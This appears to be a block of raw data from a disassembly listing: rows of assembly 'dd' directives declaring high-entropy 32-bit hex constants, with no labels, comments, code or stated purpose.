dd 5C50008Ch, 0E6813ACAh, 0F77C1D4Eh, 49F68316h, 0C3C54D06h
dd 39B95BC4h, 0BDA02B1Ch, 624BE83h, 752A9268h, 0A0F6D320h
dd 80330C2Eh, 760EFD68h, 6B5B3A87h, 97A9F0F3h, 72270B40h
dd 0C176CB6Eh, 57B9037Bh, 0AADB17Ah, 0A24E7D69h, 2E606131h
dd 1CF25603h, 0C68F6B5Ch, 22FB269Bh, 4673010Ch, 0BE999CFh
dd 947B684Bh, 4B565C32h, 0E3A498FAh, 5B7CC3B7h, 0D016B719h
dd 7864A154h, 0BC505407h, 5FAA4F09h, 0BD2ECA3Eh, 0EF274244h
dd 0E29AB3DEh, 8CE07595h, 0B1A8FB9Ah, 0B4054248h, 0DBF75B49h
dd 9CC48281h, 113CE76Bh, 0EA2FE59Bh, 8AAD05F6h, 190302ACh
dd 0F9433C05h, 0F5D81DCDh, 9E5F84Bh, 3747B4Fh, 81FA2FDDh
dd 6D0E8211h, 265DBA20h, 28E70829h, 438ECFE1h, 21EBF065h
dd 0C110A6B7h, 8794241Ah, 8816AE94h, 0F807D9AAh, 1EBAFBD2h
dd 0F5660397h, 0B336C98Dh, 0A698C62Bh, 0DC5BC40Ch, 320C72h
dd 2904B135h, 34E953FDh, 0DB419DFFh, 7CCA0FC9h, 8568E113h
dd 0CCC35131h, 0CF0705B4h, 570B09DCh, 84217BECh, 55F4432Ah
dd 4BCADB00h, 0F536423h, 6D462587h, 2BBAB8DDh, 0DCEFC3F7h
dd 0D6CAEB31h, 87BE5FFCh, 7A376811h, 1A9DEF60h, 92C6C2F4h
dd 0EFD7FEF8h, 5AE905CFh, 0B8C291C7h, 0C3C83FA8h, 82627B7Dh
dd 0AFE7CE05h, 0D12B8144h, 1E72BEFDh, 0D71BE84Ah, 0B04452CAh
dd 97B85068h, 48F35758h, 0FC084171h, 0D6BDDF29h, 5226BB4h
dd 7E09CA6Fh, 6851072Fh, 8F1B2B63h, 0C2A2A3C7h, 0B928BEDCh
dd 0E0E93F57h, 0BF33FE2Fh, 0C0F2D392h, 9099C02Dh, 548C68D0h
dd 4F4FDF38h, 8440E362h, 99FFEE83h, 678F6FD7h, 0A3650312h
dd 7FFD10F1h, 79846375h, 0E4D066B9h, 82950925h, 20F718A9h
dd 4A4715D4h, 0B7E719Dh, 0BAF609A8h, 130B7F52h, 0A8689102h
dd 98EFC6D7h, 5C30851h, 3000731Bh, 0E9AA0712h, 0F544069h
dd 2C94844Eh, 1938FCFAh, 509CCD8Eh, 712FB840h, 9C3D62E5h
dd 665F7DBFh, 0D17261F9h, 0E745ED80h, 2B59EE81h, 68C3CBADh
dd 0EF85616Ch, 5080D4F3h, 5F66F0B8h, 0D8F76A12h, 92777804h
dd 349DE902h, 9009EC52h, 77EE508Fh, 35677C60h, 0A35322BCh
dd 0D03D0896h, 0EE00FE98h, 42150DA5h, 0FC71B031h, 0E4B34FD9h
dd 0D04195EBh, 0D105DA29h, 0F20E166h, 38B23790h, 0C17D3AC9h
dd 60E60885h, 826E422Dh, 73FEA024h, 46BD24AAh, 5B169F81h
dd 0AF56EB28h, 0E2AFA774h, 82D85F8Fh, 82154AE9h, 7974B892h
dd 0E8AED044h, 0C92698D2h, 0F38980AAh, 0EB04ECB0h, 7B664954h
dd 24B2DAC7h, 0C6D52B1Fh, 97FC27DCh, 0F8C626A4h, 0A63D9EDAh
dd 0C5933A04h, 4E8D9AEAh, 80128964h, 20AD39AFh, 5D80F913h
dd 5EDB9056h, 0AE331789h, 0BE5E258Bh, 5156ED03h, 7815605Eh
dd 8A7C5562h, 0D2954198h, 9DD0B7DEh, 5B160D20h, 593984Fh
dd 13A9B94h, 2B02D5Bh, 8CD6D801h, 26592007h, 10FE3828h
dd 524C75C0h, 0C9FC5B2Ah, 8708CBDFh, 0ED669955h, 0F6606E7Dh
dd 51DB57A0h, 0EF508398h, 8B7F5D07h, 50A0D49Fh, 0E2AA45E9h
dd 29C8CF61h, 79B32E84h, 0C5CFB0BDh, 2D03A0B9h, 7F805FA9h
dd 943EF181h, 0DD72952Dh, 5D0B8D16h, 22DCCBE9h, 553AD3ECh
dd 73106618h, 4FFA7FF6h, 1F300B5Eh, 24597893h, 2624296Dh
dd 68060FFBh, 8013558Ah, 4A3BBF57h, 0C2BF317Bh, 0D4E3D50Dh
dd 0B02644A8h, 2E9070Bh, 55DD12BBh, 3FDA06CBh, 51B7ABD8h
dd 40086DD9h, 0C41986F0h, 0E9526D02h, 0FDFE9D12h, 0D828C3C5h
dd 7F33322Dh, 0D34BCE96h, 8EBB284h, 6426FBA7h, 95F3CF0Ch
dd 0A9B509C5h, 0B77F774h, 0FB025F31h, 9D745431h, 8087449h
dd 291363F0h, 0FEA84517h, 0F05693DFh, 9809BAF7h, 3BC53Fh
dd 8667B04Ah, 6ED1B53Ah, 0D24EE90Bh, 0ECC30719h, 0BEF9A763h
dd 5505A0D3h, 0D2BF8D98h, 2724ED39h, 125A0EB9h, 0AE4CE903h
dd 881C53D0h, 0D9DE51EBh, 7F8171CBh, 38130299h, 79914B1Fh
dd 0B650BC38h, 0BA029F6h, 0F189A820h, 3A26AFC5h, 2EC0570Ch
dd 0B800005h, 0F8013F55h, 0CCBD9168h, 5C883D4Bh, 42E92C85h
dd 0E831BE6Bh, 0B7004BC9h, 0EF03C082h, 2D880F08h, 0A8165E91h
dd 1EFA1D3h, 89EA5711h, 5AD3BBh, 8BFBC202h, 65A2FC77h
dd 0ABC7C7CEh, 0F9ECFAA1h, 0B956C93Dh, 9514D8DDh, 8275ECE2h
dd 0F71A281Ah, 0AEFCFD33h, 9DF7A588h, 0B6BE1300h, 532C373Dh
dd 5F01FD81h, 90E91220h, 4044002Ah, 42258D2Dh, 32A4585Ah
dd 3CD74178h, 8AF8CB37h
dd 818E1340h, 891EE1CFh, 0EB454F6Eh, 0C7853FA8h, 33A0BB58h
dd 9E0B539Eh, 80ABAC4Eh, 2ADB50D5h, 1C46E168h, 5BE720B7h
dd 0DFA0585Fh, 0D5AE0463h, 65DD2955h, 0A0AE6E12h, 0D6BD5B70h
dd 47F77929h, 0AA5E25BCh, 62EB9B13h, 394AB42Ah, 624C5E77h
dd 9C8EEB6h, 0B00B5EF5h, 84D03051h, 8AEFE073h, 11E24B7Bh
dd 8DFEA9A5h, 5B61C9D9h, 0FA4B0128h, 5713FD8Ah, 0C7B5BE50h
dd 0FE53321Ch, 4A4790FBh, 9AF9C849h, 0B4690828h, 0EF931A3h
dd 356281F0h, 75862CF9h, 5E993730h, 0BC974132h, 0EF3C2279h
dd 11D731B2h, 2CFD1EBh, 702D020Ah, 71FF375Dh, 29F1271Eh
dd 0DDF32DC2h, 0C268FA10h, 56170109h, 9D5A775Eh, 7B280400h
dd 8B8D0F3Fh, 41A9B6F5h, 6EEF53E9h, 0D42CE892h, 96552F45h
dd 415198F3h, 0BEE2EAFh, 9102AB3Eh, 54E9290Ah, 4100D37Ah
dd 757B78C2h, 7D860F0Ch, 0FBD49505h, 0D2AA4E58h, 9E58E032h
dd 0F41A099Fh, 9588EEAEh, 80270B6Bh, 7A9BBB70h, 95B927Dh
dd 0B4828564h, 0A9745F86h, 0C383D30Bh, 542B0001h, 0B5776235h
dd 0ECE98E02h, 873B4A58h, 1E7296D5h, 82B5A9ACh, 87A7CC7h
dd 6683728h, 0E0D98220h, 5B662DFAh, 42C2B2C0h, 2FC1DA9Fh
dd 72F40837h, 0F9E42539h, 48E6EFFDh, 0E205F928h, 389443D8h
dd 6941A21Ch, 0D721F4C9h, 0AA30EE65h, 607B9350h, 0FEB247E9h
dd 0B4FD1B5h, 9766C874h, 58F16825h, 0E1FB9514h, 0F063FEAFh
dd 0FF823767h, 0E9C1F559h, 0C834A4BCh, 5FF8EED6h, 82C097C4h
dd 0DF09FEA2h, 76502AF9h, 905EB2D2h, 9AB55D78h, 0A9F617Bh
dd 0F5B2F680h, 2F843EEEh, 0B730A8FBh, 0F0AC62A5h, 0C46680Bh
dd 65624C7Ch, 0B45C05BEh, 0FD7C882Fh, 0A485DD6Eh, 939392D6h
dd 8BBBD5C2h, 7FF94E04h, 0E409492Fh, 5BF2E47Dh, 10C2D0D2h
dd 5C95FEECh, 2F0C5940h, 9BB62FD4h, 0FB4E5112h, 82CC74h
dd 0B996164h, 1A3A53Bh, 0BDB8E908h, 27F78233h, 5D6FD542h
dd 0A090F1E8h, 8104FE5Ch, 6B9820E2h, 0DD42163Ah, 0ECCB2BB5h
dd 6948152Dh, 6C765CC6h, 7F12FC4Bh, 0E6A7A091h, 6DF65307h
dd 1CB80A4Ah, 4338FB96h, 70AC7CBFh, 0FD092FBAh, 0F9FB8E39h
dd 0E87D30FEh, 0A4D7C5B5h, 0ABAE12C0h, 2D68816Ch, 94651FE8h
dd 28153988h, 0DAE700C1h, 0F13EA43h, 0BF4AB982h, 0ABF147BCh
dd 0DEF7002Eh, 0CE84120Fh, 3288EA72h, 1E0C4D69h, 1651E21Eh
dd 0BAF2C48Bh, 8E2E8ACBh, 0DAC0AD86h, 0AFA8C20Bh, 5C133FEBh
dd 6DD46085h, 2D670814h, 884FD139h, 26264C9Ah, 0D461D800h
dd 9EF815Bh, 4741574Fh, 8A0B77Eh, 653BD380h, 43E3F99Fh
dd 8E58D3D8h, 31A312D3h, 0EC9E99FFh, 0E595E72Bh, 2EEB0125h
dd 2B09F763h, 804D6E5h, 0E8722DBAh, 49B9FEB1h, 4565189h
dd 0B2BC6CCBh, 731FCBC1h, 8AF0301Bh, 0CF210F81h, 7872912Ch
dd 769FA2CCh, 0EB8A0BB6h, 1A1F4E57h, 3093A9E9h, 0F2D8175h
dd 0B4246788h, 0A40CF42h, 0DF890690h, 9FCC8D2Ch, 0C8220D5Fh
dd 2F45FE3Ah, 35EBB3C4h, 3547003Bh, 61153144h, 2120B8A0h
dd 180F1B26h, 63B7B713h, 38D0B770h, 7294392Ch, 8AC7EAFh
dd 32289F1Fh, 95653A04h, 49BF4D1Dh, 6E29AD83h, 52187EFEh
dd 5EC426h, 0CD816367h, 3306324Bh, 0D1E925h, 3E0C100h
dd 527CF248h, 0D4129C8Fh, 0B54ED11Dh, 0FE5B00FAh, 215C5ECAh
dd 3788AC2h, 9689EFE9h, 0BAC24F3Bh, 150F483h, 49452C1Ah
dd 30DFF77Bh, 7C005328h, 0D90542E5h, 289D1F27h, 41E1C701h
dd 93F93B03h, 0D127124Ch, 0E1834A7Dh, 0C46F123Dh, 2F8FBA58h
dd 13F6AD4Ah, 0A456D69Bh, 59CBD3ABh, 0C67D39B2h, 4AE917C8h
dd 0AF6F35B3h, 151F1F4h, 8C784BB9h, 20E1C13Fh, 522D8A0Dh
dd 0AE9E7737h, 13A13424h, 1597681Ch, 0C3A60BF8h, 0E4D7592Fh
dd 0D412278Ah, 6EDAD5BBh, 310E11D6h, 9CA4E4DFh, 5515FC8h
dd 89503CE2h, 416982F0h, 0C18517Dh, 0EFCFB96Ah, 5B570425h
dd 0D15749A1h, 54A9977Eh, 59723FABh, 0EB0E8311h, 58806034h
dd 46AC0540h, 354E4300h, 8263043Dh, 0C06B4AE9h, 3FD82D8Eh
dd 56020BF4h, 8E1468BEh, 13A2822Eh, 1621FF78h, 7F4531A5h
dd 0C1596FB0h, 0F0440FCEh, 33E86E42h, 8895E618h, 0C8945954h
dd 0E95904E9h, 0F481B8BAh, 56BF6913h, 3C3DEED9h, 96AFE96Ah
dd 0E237D3ABh, 39BD7C4Eh, 0B786626h, 4444DCCAh, 10E8C117h
dd 445C63B0h, 3E409C58h, 0C2B5945Dh, 570B8AF5h, 0B4B06148h
dd 74C83AEBh, 0C9BF4E2Fh, 0AEBE30D1h, 0FB0BEA8h, 12BC48B1h
dd 69B075AFh, 2B17416Dh, 0FE133EB9h, 894A370h, 12FFF1E7h
dd 0F88AEFEBh, 3CE95C04h, 0A153B83Bh, 5000D4ABh, 0C7E4C888h
dd 0FE59581Dh, 1413AA24h, 28E98542h, 2D5B45D7h, 845A9B64h
dd 0FDEA444Bh, 6FFE93ABh, 758E3FC2h, 49E64620h, 0D8A0442Eh
dd 0F94A0AA9h, 35D717C0h, 0CC324C5Bh, 814A081Eh, 71776AF2h
dd 10D27BA9h, 25A274A7h, 2917CD14h, 34E92DE8h, 0DBE95D0Dh
dd 10D97875h, 0EC4E535Fh, 4D7510AFh, 410AE818h, 94006ECCh
dd 16101E53h, 22923B2h, 5C87F381h, 0F7F32BFh, 162FD846h
dd 7AE600ABh, 753A6BB9h, 19017E41h, 5004EDB1h, 0D2B65867h
dd 0B002E0Ah, 0E425699Dh, 30F63307h, 0A24909E9h, 0CE028630h
dd 0C393E091h, 1689611Ah, 23BD9031h, 5B804600h, 21E8B419h
dd 9C7FC6EEh, 0EDA18F00h, 5D0C4D34h, 8B5F0E1Ah, 661A419Dh
dd 0E77EF4C0h, 0C72A63Eh, 19183D85h, 19EA03C7h, 6E93A88h
dd 92416501h, 518C821h, 0C0363A9Ch, 0B8660F83h, 9E98130Ah
dd 2B503203h, 315B185h, 9D29594Ah, 0E071F95h, 3103EE83h
dd 0C05F993h, 0CE94E12h, 0C8001461h, 809F8395h, 398B42FAh
dd 81840721h, 0AA9974FEh, 0B07E6C4Eh, 0C068B41Fh, 32A65D2Eh
dd 393B6AB8h, 62EE8046h, 958F7F04h, 0C1340216h, 0EB4CF3A7h
dd 8E63C0F5h, 2C503E71h, 6E482448h, 54EE6300h, 340E4383h
dd 48051CAh, 4BD986DFh, 0A001089h, 39DC6E49h, 181B02A9h
dd 0FEC5839Fh, 0D9035AAAh, 0C750F7D7h, 2169E30Ah, 46083629h
dd 84C39088h, 0DA486BB2h, 0C47ABF43h, 4421F08h, 18CE2275h
dd 97BF7200h, 41960051h, 0A35F2F4h, 550092D4h, 0F63137A9h
dd 7D01627h, 5FAB14Ah, 0A5E930FCh, 47009B12h, 293ABC7Bh
dd 0D4DFE6h, 5EA2175Dh, 0C2AEEC24h, 9891D200h, 3E97B6E3h
dd 887153h, 0DB451C21h, 0FDF36494h, 0B7057600h, 0ABC975B6h
dd 696C0052h, 98DEF283h, 21009A53h, 23D61EF5h, 325CFA1h
dd 28B26556h, 8490BC50h, 2601D248h, 9E945DBBh, 2ED463BDh
dd 24B10786h, 57B573F3h, 7A8F5031h, 5000A062h, 969CD2B9h
dd 0B84895A8h, 0F39200F8h, 7A431752h, 4C00BFB7h, 36B8A3F5h
dd 0B0F186h, 0FC3E41D5h, 0F9763AD0h, 17DED100h, 0A97F429Ch
dd 0E8CC003Ch, 0CEC0ABDCh, 87003605h, 7C6FB104h, 0D20B08h
dd 56B73179h, 0C4DD397Bh, 0FB78E009h, 430C0EBCh, 0FF91D7FFh
dd 0F5903467h, 3D2144Bh, 7077E915h, 10F067B6h, 3A2A710Dh
dd 0E500B845h, 0BB87D8D2h, 69757Ch, 9D159F26h, 25996357h
dd 1202C0A0h, 4EEBD100h, 8AEF6913h, 617A23h, 4F76F881h
dd 0EE54F76Fh, 9FD63607h, 0ACC02C52h, 5C045F9Bh, 381DA7BEh
dd 0C71C00E7h, 693F3007h, 3131900h, 48F433C3h, 0F2750717h
dd 479A0C21h, 593690E4h, 0BB2460E2h, 92037C5Bh, 0E0B2938Bh
dd 7F312Ch, 5FD146CAh, 0D273E56Bh, 13051600h, 3F1D6AA1h
dd 501000CEh, 0F7B22EDCh
dd 7AEF1863h, 3EF00CB0h, 458C59B0h, 0A9B0309Bh, 5A005790h
dd 274B46D4h, 1505DD3h, 3A3841B6h, 0D08788BBh, 0DA00F5B3h
dd 939F2948h, 0E42676h, 96CC9A1Bh, 0F0A0FD53h, 8E98D800h
dd 7FF7F908h, 0E3FB013Ah, 4FFA7339h, 55E0242Bh, 0DCD00200h
dd 1B6C6EE8h, 0B3600021h, 7BF30607h, 0D9763B29h, 0A29CF405h
dd 29803C71h, 36662B4h, 8CCCC2A5h, 0DEB08F09h, 7300933Bh
dd 9D162150h, 0FA1C5B62h, 0C7940003h, 0F8A9BEC2h, 301DDD91h
dd 0D0C0B0BBh, 512D451Dh, 48EC4803h, 710B4A00h, 5414222Bh
dd 2A6FC315h, 0E25B01B0h, 7BF2FC21h, 0F9CAC050h, 54230DCh
dd 9E5DE078h, 3908550Eh, 4504A0FCh, 24D686CCh, 0CC1046h
dd 33274258h, 0D000A66Dh, 0D4596A5Ah, 0F8B943h, 0A82DEB7Dh
dd 0A009BE4Ch, 0EA00E0E8h, 611CC0AEh, 25E7444h, 11CD7C22h
dd 53E0A940h, 0C60FC9AAh, 7101AADh, 9671D718h, 0CFF8AB06h
dd 0C30703FBh, 25452CB6h, 15276AD0h, 0E6138102h, 0C0356BB4h
dd 9266F3h, 0D6BAA908h, 75010A57h, 4F0F403h, 121B94h, 0BC47CF59h
dd 0B5EF42D4h, 706B8400h, 0F2960714h, 0E48D51E2h, 0F605DCh
dd 15D8E3FCh, 0B57E3082h, 13102300h, 0BA83DCC9h, 0F7C0077h
dd 89B3620Bh, 0E1B0804Fh, 1526E100h, 96408FC9h, 0C2C079Ah
dd 0A083B6A1h, 0AB274503h, 0AC3C52h, 95FB02FDh, 18B0A12h
dd 0DA8F36Ch, 0E6B335C0h, 7FF28460h, 2F55C600h, 4ED454B0h
dd 12C500A9h, 0C876C70Dh, 148E977h, 295F0328h, 8AD4EBh
dd 93883E11h, 0FEB4C61Ch, 5C4A01Ch, 105283C7h, 0C5B5BC60h
dd 0D21C0124h, 0F03D045Bh, 4F61E482h, 0D4031972h, 0D5E49749h
dd 946D0AAh, 0E7FC00BCh, 13F1531Eh, 0A80657ACh, 0CB349FD8h
dd 0AF4B006Ch, 475122D0h, 24902D9Ah, 76B50818h, 0C14BD3Ch
dd 988A8E59h, 69EADD50h, 0EC70F400h, 0D48FE2DFh, 67AC0062h
dd 0DCB9076Dh, 99713FFFh, 8E82963Fh, 0A0C64F5Eh, 320AF9CCh
dd 42FD0002h, 17C256FEh, 6C0A1FDDh, 0E081E77Dh, 194D1000h
dd 0EF2D22h, 142AEDEEh, 3D89933Ah, 0AEA35512h, 0E7134800h
dd 50F5C4E1h, 1D83A01Fh, 71CF1DCh, 80B073F7h, 0F9D010E4h
dd 16BFBE07h, 4480905Bh, 22A4AEh, 69391D48h, 737AA8A1h
dd 5F527803h, 0D09101ACh, 99AFF79h, 506271B3h, 0C57D3A00h
dd 300C04Bh, 5D3C05D6h, 8E9CA2h, 0D2CD7934h, 5CAE1EDEh
dd 42461407h, 29C08CF2h, 0CBE78CCh, 956F53C1h, 72FE1911h
dd 3BCDA10Eh, 61EA0081h, 0B17DD3Ah, 0A3E3A911h, 0E70A1800h
dd 0AE5C69DFh, 0CC0077C9h, 6DAA1C13h, 3487FB1h, 0E85E6F8Eh
dd 83959962h, 0FDE8028Bh, 8F1EA32Ah, 0F1875493h, 45A0F73Eh
dd 58917B2Fh, 0A001828h, 61E0A91Ah, 0D303640Eh, 3639AD24h
dd 38268989h, 4B7034h, 86CAA0AAh, 5B851CE9h, 0A96919CEh
dd 347C8044h, 7A04C708h, 393104F6h, 0C2A21E93h, 0F4E3C8DFh
dd 4DE0C0D4h, 1A30273Fh, 9B2AE883h, 0F8080073h, 0EE30577h
dd 0F34C01B8h, 99C5000Eh, 8F0B4E89h, 16C59890h, 1AA9A91h
dd 0E1473035h, 62B07035h, 0B560E04h, 4807906h, 8B53CAh
dd 36206ACEh, 0C997E66Bh, 0C8078875h, 64FC7FC5h, 0C282801Bh
dd 713C3106h, 0DF5200A4h, 334DE005h, 0C0C13AAEh, 11CB8DECh
dd 0F2CA7F8h, 86B63592h, 966EA1E7h, 0A2005ED1h, 0A9742BECh
dd 155CEBh, 66F5C80Bh, 0F970188Ah, 3C2AD300h, 6FF18236h
dd 448B04Bh, 0FD1A60ABh, 8481C779h, 404C0F6h, 24338A08h
dd 0D04711B0h, 12ABE5ADh, 9BFCF4h, 5E6766B4h, 11CF9C8Dh
dd 0E7CC0CEh, 3B68B91Eh, 0CA024192h, 6DC783A1h, 518458C0h
dd 0BC315F00h, 0CCEF3C14h, 0C2CE26EBh, 8703052Bh, 3900807Bh
dd 0CD004BADh, 9EA8481Eh, 0AC84CCh, 5EBBF88Eh, 0E7DEBDF7h
dd 6BFEB60Eh, 0DB07720Ah, 58120131h, 0A308C86Ch, 3E1E28BDh
dd 6A9300FAh, 0E9714C8Ah, 0C700E33Ah, 0B4780D77h, 9C2D60h
dd 0E8D3ECE1h, 0F60BF030h, 0FA3EA700h, 0C536B675h, 608D0055h
dd 184E5270h, 3971EBDCh, 1B463200h, 0F7B8157Ch, 0E7A206C3h
dd 101A9E78h, 0EF2E1DEEh, 0DA9D4C85h, 806DC3CBh, 0FE5BB909h
dd 10754820h, 905F2Ch, 8242DB22h, 0E1007CC6h, 86969B4Fh
dd 0FC353BAFh, 52A600A2h, 0CD3AF1C3h, 0A0009EECh, 42FE8DE1h
dd 48E81207h, 0C080D8E0h, 4A152C09h, 7704E48h, 55C2A4F9h
dd 0C63E5B50h, 43E000E5h, 0C1AF5A54h, 0D9002815h, 59AEEB7Ah
dd 48172Ah, 0FF9FD7EAh, 328899CEh, 0DFE3770Eh, 7D45E010h
dd 63F4B2h, 18A6945Bh, 0C7292D8Ah, 0ED19F700h, 51828475h
dd 1CAA025Ch, 5B364704h, 807F04E1h, 0EE57DEE9h, 0E4E872F6h
dd 51700D3h, 0A1B7332Dh, 520016CFh, 0B5756CCEh, 227B59h
dd 82181D5Ch, 4CBFB3FEh, 58DD9C00h, 947C3DAFh, 0D7811020h
dd 1375084Fh, 0CDF56036h, 3C000E1Bh, 7A504660h, 90E0B94Ah
dd 0B6050078h, 802DB327h, 0A00B8653h, 80B84EB4h, 1FFAE2Dh
dd 12CC0093h, 2C054F1Dh, 900066DAh, 0B23EC382h, 28CE6134h
dd 94E88Ah, 9E4ABC39h, 28DA815Dh, 83B16707h, 58775219h
dd 4B46D010h, 0AE4E00E5h, 76A3F49Eh, 781E8B3Bh, 2E806DFCh
dd 80EF4081h, 0DB690956h, 1C69DEF3h, 9338E482h, 3D652100h
dd 0AEED4BEBh, 8430034Ch, 0C7F20AB0h, 9B4502A8h, 0F7800301h
dd 702A6975h, 174FCh, 0E734E531h, 28A68E6Eh, 5AF1AB00h
dd 0C5024498h, 47253C38h, 2078B680h, 9EFF89B8h, 48408A4Bh
dd 0ED28F76Bh, 33EC00AFh, 5BC3A0EEh, 0DF013008h, 6B373CD6h
dd 6DF0BC86h, 71D4E984h, 2567041Fh, 0C0ADD987h, 249947Bh
dd 0AE6B3800h, 3E8D81A6h, 16032C9Ch, 1C9F00E0h, 31AF5EDEh
dd 0A5699400h, 5A9CF2CCh, 1AE625h, 5E3DC4C9h, 0A64A3C88h
dd 0F580AC50h, 945F1700h, 0EB95F768h, 27792844h, 0FA6F00B4h
dd 0A5ACE077h, 883DDAF9h, 0EDCB00F7h, 7D263390h, 0A9BA00FCh
dd 3FF803C3h, 1B28A422h, 5D07D8D9h, 0D734651Dh, 463807D0h
dd 229D0226h, 0B209D3B5h, 7E0C18E0h, 0D3D2A05h, 0E080C810h
dd 5F7196h, 164DD554h, 76D1F315h, 0AA69B400h, 89308F56h
dd 5C0E1C7Eh, 32AE8559h, 2BC40A8Bh, 6CFE0BAAh, 0F9E87413h
dd 6E0084ADh, 6FE9583Eh, 9A41E3Bh, 6A37AFDDh, 0A5F1C000h
dd 90000F96h, 598E9D25h, 83268Ch, 0B7493185h, 0FB71040Ch
dd 0A145Ch, 37C788B2h, 9847D6EBh, 49FA17D3h, 2B770061h
dd 77390319h, 60EEAC00h, 7C8A21ADh, 0FC3B7424h, 2F8917CCh
dd 27604EDFh, 6B5C9CC0h, 0E6006FB1h, 490CC9D8h, 8D656Eh
dd 0D7BB89BFh, 0F33A05F9h, 0DB00E6E8h, 3BBAB415h, 0B04A6D97h
dd 38CF83Bh, 42DF33DAh, 0A6F8445Ch, 5A01E720h, 772E8D07h
dd 48F5022Bh, 4ADAF8h, 0C99311EEh, 0F462BD36h, 0BB88B71Fh
dd 0EB653AC0h, 41CF067h, 0B3BF60A3h, 9090B08Fh, 8842002h
dd 5183F102h, 0FA050084h, 0C70B1394h, 8115763Eh, 171873C0h
dd 16EC8CC5h, 228501CAh, 2661D61Ch, 9060D0E7h, 0C6245006h
dd 13618C37h, 0C0A2165Fh, 267A99A4h, 560FDA78h, 253EEA24h
dd 10051D01h, 1C009121h, 0FE83900Bh, 82581D09h, 0BD7C0602h
dd 0A6072836h, 3F59A8B5h, 8AC36C85h, 0A0C5A32Eh, 635AAA84h
dd 0E2DE183Bh, 669D28A0h, 0F0660D2h, 0F8500F56h, 7980C059h
dd 0ADBFD708h, 20B94400h, 0BA268B76h, 245A0356h, 59CAB3DCh
dd 0DE809001h, 880B36FCh, 38179890h, 217D8609h, 66B98B79h
dd 50B9D00Fh
dd 0E4006B7Bh, 59A1C53Fh, 79BA9Dh, 2F90FD05h, 0FF121DA8h
dd 0E869F803h, 0E85E8B98h, 81A0A1h, 0FC4C0436h, 6642176Bh
dd 9B034F70h, 8C2C657Ah, 60EA8AC1h, 0E61C5Eh, 2853EE24h
dd 0D8AD9972h, 225C5000h, 39AB4BBDh, 4C350054h, 48652478h
dd 250F1029h, 4E673Ah, 731AB71Ch, 0B3AD0064h, 36E98360h
dd 12002A49h, 1F8B6C90h, 70074505h, 9A8C00F1h, 0EE625EF7h
dd 951D49CAh, 0E06F36BEh, 2A9BD0A5h, 4BE43A44h, 90660546h
dd 0B78C0296h, 90A18DB6h, 9DA7CAA9h, 0B20FC728h, 0CB4A942h
dd 0E8362155h, 7D8B377Ch, 70920011h, 0A4500D31h, 0F818971Ch
dd 0DD11B9A9h, 93660C84h, 5881BED8h, 444A621Eh, 602611B0h
dd 22A2107Dh, 0CA6012Ah, 34DE9B40h, 52499009h, 26589022h
dd 50C06898h, 0BE180F81h, 15109C8Bh, 6200E1DBh, 2165AACh
dd 67562A10h, 10C7C8C8h, 39C3BC21h, 0FC0C1EE8h, 108175B7h
dd 9C57D55h, 2689FB72h, 0C3C5800h, 520133B2h, 7965930Dh
dd 70D8AFBFh, 0E1A4A38Bh, 0FFF8ABD6h, 4610C086h, 8324FEA4h
dd 49056B03h, 0C132629Eh, 5FF095F1h, 86C3EE4h, 14A79914h
dd 5CF01Fh, 2680F760h, 0AA00B3E6h, 53973F69h, 60A305DEh
dd 3D32789Fh, 0DF3A20A4h, 80B0607Dh, 6202AEC9h, 93DA385Fh
dd 0DB098C48h, 80464928h, 0B0BF3500h, 8339DC44h, 0FA6B036Eh
dd 2B8D130Fh, 26A62002h, 9E50ED9Bh, 7BA32320h, 3A4B0738h
dd 96800118h, 51C167Fh, 455B3258h, 86D44FA3h, 3EF2CFE0h
dd 59196C1Eh, 0A908F621h, 97F2180h, 76FD5BCFh, 0B6FAC40Eh
dd 9770C5ADh, 3D1BA401h, 0F884744Fh, 90A1A9F5h, 6DA8E42Ch
dd 48852037h, 0BDAFE370h, 4A21FE2h, 80C1B082h, 0B0005451h
dd 0DB5DEDC4h, 0CE3B2E6Eh, 0A3410881h, 0C8AD80C9h, 0C9A038FBh
dd 36058398h, 0FAEC262Ah, 47658004h, 0E5E7C700h, 3948C25Ch
dd 8A561320h, 0F560D420h, 4130D9E0h, 9D099801h, 1ED4021h
dd 202337E0h, 83467E3Dh, 0ECFDABD0h, 84E804AFh, 4625F12h
dd 0C080D0A1h, 0C15EA807h, 756ABDC9h, 565AC424h, 62DC8C19h
dd 8850A908h, 6755298h, 0BF0A86EDh, 0B0CC618Eh, 2D60A2h
dd 3112AE08h, 6A1702A6h, 12AC1648h, 0F4C7DFEBh, 1E2252C0h
dd 3CAB0364h, 4CB3A3B9h, 21480830h, 1A1E5AF8h, 0A0E2937Fh
dd 411AFC01h, 0DDB84C0Ah, 0B4ED09C3h, 54397CB6h, 60A98817h
dd 277EB1ADh, 57012B52h, 1ACFCC7h, 7C21E19Eh, 0E8958CE4h
dd 938A30A6h, 6A8BC041h, 0EEE3AE00h, 9F1F2048h, 414E005Bh
dd 5002F9EAh, 6305B4EFh, 0FB64F526h, 445BC421h, 5A001832h
dd 0A392E7Ah, 3C071EB8h, 0D0678DC0h, 0AA853770h, 423E2D5h
dd 55DF70F5h, 17AC808Ch, 2C48A52Bh, 35580000h, 9F052620h
dd 0ADB0A063h, 59FC06DBh, 2073FD32h, 18500CA1h, 0FCE008F7h
dd 9BC4E809h, 0E0EF4E40h, 97289A4Ah, 5420D831h, 78C53E9Ch
dd 4E75A6h, 5E66C66h, 0DCDC2C4Fh, 25204540h, 67BA4ADh
dd 0E31D63BFh, 2E3F389Bh, 95BCD4D9h, 90166000h, 42C2D406h
dd 438B00F0h, 52D8BA53h, 320074DEh, 2A125796h, 6C67114h
dd 0FA65EF5Bh, 2F444821h, 0B3460E4Ch, 3F80188Eh, 2D84FF5Ch
dd 69C18F02h, 49311930h, 4F608290h, 4F6D2693h, 8EE308E8h
dd 0F19F8B0Ch, 6BB500B9h, 0C61BDE41h, 0B60001E0h, 0E4922684h
dd 0F0700F4Bh, 0C2FA00A7h, 69F59622h, 212512Dh, 1C40A2A8h
dd 74185371h, 8E34007Eh, 6F9B9585h, 0AF002A4Ch, 64F3594Ah
dd 24FD5A02h, 0E4A038h, 2D2213FEh, 7912DF39h, 0E052C386h
dd 0C0515408h, 3EF4CFFBh, 0A522EE46h, 0CF036100h, 140BA18Ch
dd 0BE100499h, 0C162BB5Fh, 3A5AFFCh, 3881F8C5h, 0B9B72C3Bh
dd 0DC93414Ch, 0D4985A0h, 50C001E9h, 9DA6F76h, 50CDB269h
dd 18532011h, 0FDE008F6h, 65C4F009h, 0E0EE4F40h, 0B1E8C844h
dd 0ED015FFCh, 8CC3096Bh, 54253BF2h, 3EFDF440h, 831D28B7h
